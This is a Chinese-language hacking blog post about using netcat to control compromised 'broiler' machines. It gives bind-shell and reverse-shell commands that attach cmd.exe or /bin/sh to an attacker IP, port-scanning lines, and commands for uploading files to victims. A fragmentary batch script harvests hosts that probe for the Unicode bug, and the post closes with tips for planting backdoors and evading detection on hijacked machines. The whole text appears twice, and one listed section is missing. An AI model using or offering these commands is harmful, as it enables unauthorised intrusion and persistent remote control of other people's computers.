nc.exe高级技巧应用汇总
2012年01月06日
文章结构
0. 写在前面的话
1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
2. Netcat 1.10 for NT 帮助信息
3. Netcat 1.10 常用的命令格式
4. 管理肉鸡,更改肉鸡设置
5. 下载连接
6. 后记
######################################################################
0. 写在前面的话
######################################################################
最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。
自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂,
但是借助于金山词霸2002版本, 还是明白了一点东西.
我觉的有必要再总结一下.反正主要是满足我自己的需要.
######################################################################
1. Netcat 1.10 for NT - nc11nt.zip
######################################################################
Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
1.1 NC.EXE是一个非标准的telnet客户端程序,
1.2 还有一个putty.exe客户端程序,提供四种连接模式
-raw -telnet -rlogin -ssh.
######################################################################
2. Netcat 1.10 for NT 帮助信息
######################################################################
C:/WINDOWS/Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (后台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本帮助信息)
-i secs delay interval for lines sent, ports scanned (延迟时间)
-l listen mode, for inbound connects (监听模式,等待连接)
-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
-o file hex dump of traffic (十六进制模式输出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (随机本地远程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (扫描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
######################################################################
3. Netcat 1.10 常用的命令格式
######################################################################
下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件:
3.5.1 attacker machine path/file.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port > path/file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port 程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%/system32/ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 >80.txt
goto start
把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多
是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.
但是也是一种便宜的办法.
肉鸡特征:
1。unicode漏洞
2。guest密码为空,administrators组用户
3。其他漏洞
自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器
######################################################################
5. 下载连接
######################################################################
5.1 http://www.atstake.com/research/tools/network_utilities/
Tool: Netcat 1.10 for Unix
Version: 03.20.96
Platforms: *nix
Tool: Netcat 1.1 for Win 95/98/NT/2000
Version: 02.08.98
Platforms: Runs on Win 95/98/NT/2000
5.2 http://www.xfocus.net/download.php?id=320
名称: cryptcat_nt.zip 更新时间: 2002-04-05
类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw
简介: 加密传输的nc。
5.3 http://content.443.ch/pub/security/blackhat/Networking/nc/ 国外的网站
10.03.02 15:48 1305 cryptcat.txt
10.03.02 15:48 245760 cryptcat_linux2.tar
10.03.02 15:48 118533 cryptcat_nt.zip
2012年01月06日
文章结构
0. 写在前面的话
1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
2. Netcat 1.10 for NT 帮助信息
3. Netcat 1.10 常用的命令格式
4. 管理肉鸡,更改肉鸡设置
5. 下载连接
6. 后记
######################################################################
0. 写在前面的话
######################################################################
最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。
自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂,
但是借助于金山词霸2002版本, 还是明白了一点东西.
我觉的有必要再总结一下.反正主要是满足我自己的需要.
######################################################################
1. Netcat 1.10 for NT - nc11nt.zip
######################################################################
Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
1.1 NC.EXE是一个非标准的telnet客户端程序,
1.2 还有一个putty.exe客户端程序,提供四种连接模式
-raw -telnet -rlogin -ssh.
######################################################################
2. Netcat 1.10 for NT 帮助信息
######################################################################
C:/WINDOWS/Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (后台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本帮助信息)
-i secs delay interval for lines sent, ports scanned (延迟时间)
-l listen mode, for inbound connects (监听模式,等待连接)
-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
-o file hex dump of traffic (十六进制模式输出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (随机本地远程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (扫描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
######################################################################
3. Netcat 1.10 常用的命令格式
######################################################################
下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件:
3.5.1 attacker machine path/file.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port > path/file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port 程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%/system32/ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 >80.txt
goto start
把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多
是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.
但是也是一种便宜的办法.
肉鸡特征:
1。unicode漏洞
2。guest密码为空,administrators组用户
3。其他漏洞
自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器
######################################################################
5. 下载连接
######################################################################
5.1 http://www.atstake.com/research/tools/network_utilities/
Tool: Netcat 1.10 for Unix
Version: 03.20.96
Platforms: *nix
Tool: Netcat 1.1 for Win 95/98/NT/2000
Version: 02.08.98
Platforms: Runs on Win 95/98/NT/2000
5.2 http://www.xfocus.net/download.php?id=320
名称: cryptcat_nt.zip 更新时间: 2002-04-05
类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw
简介: 加密传输的nc。
5.3 http://content.443.ch/pub/security/blackhat/Networking/nc/ 国外的网站
10.03.02 15:48 1305 cryptcat.txt
10.03.02 15:48 245760 cryptcat_linux2.tar
10.03.02 15:48 118533 cryptcat_nt.zip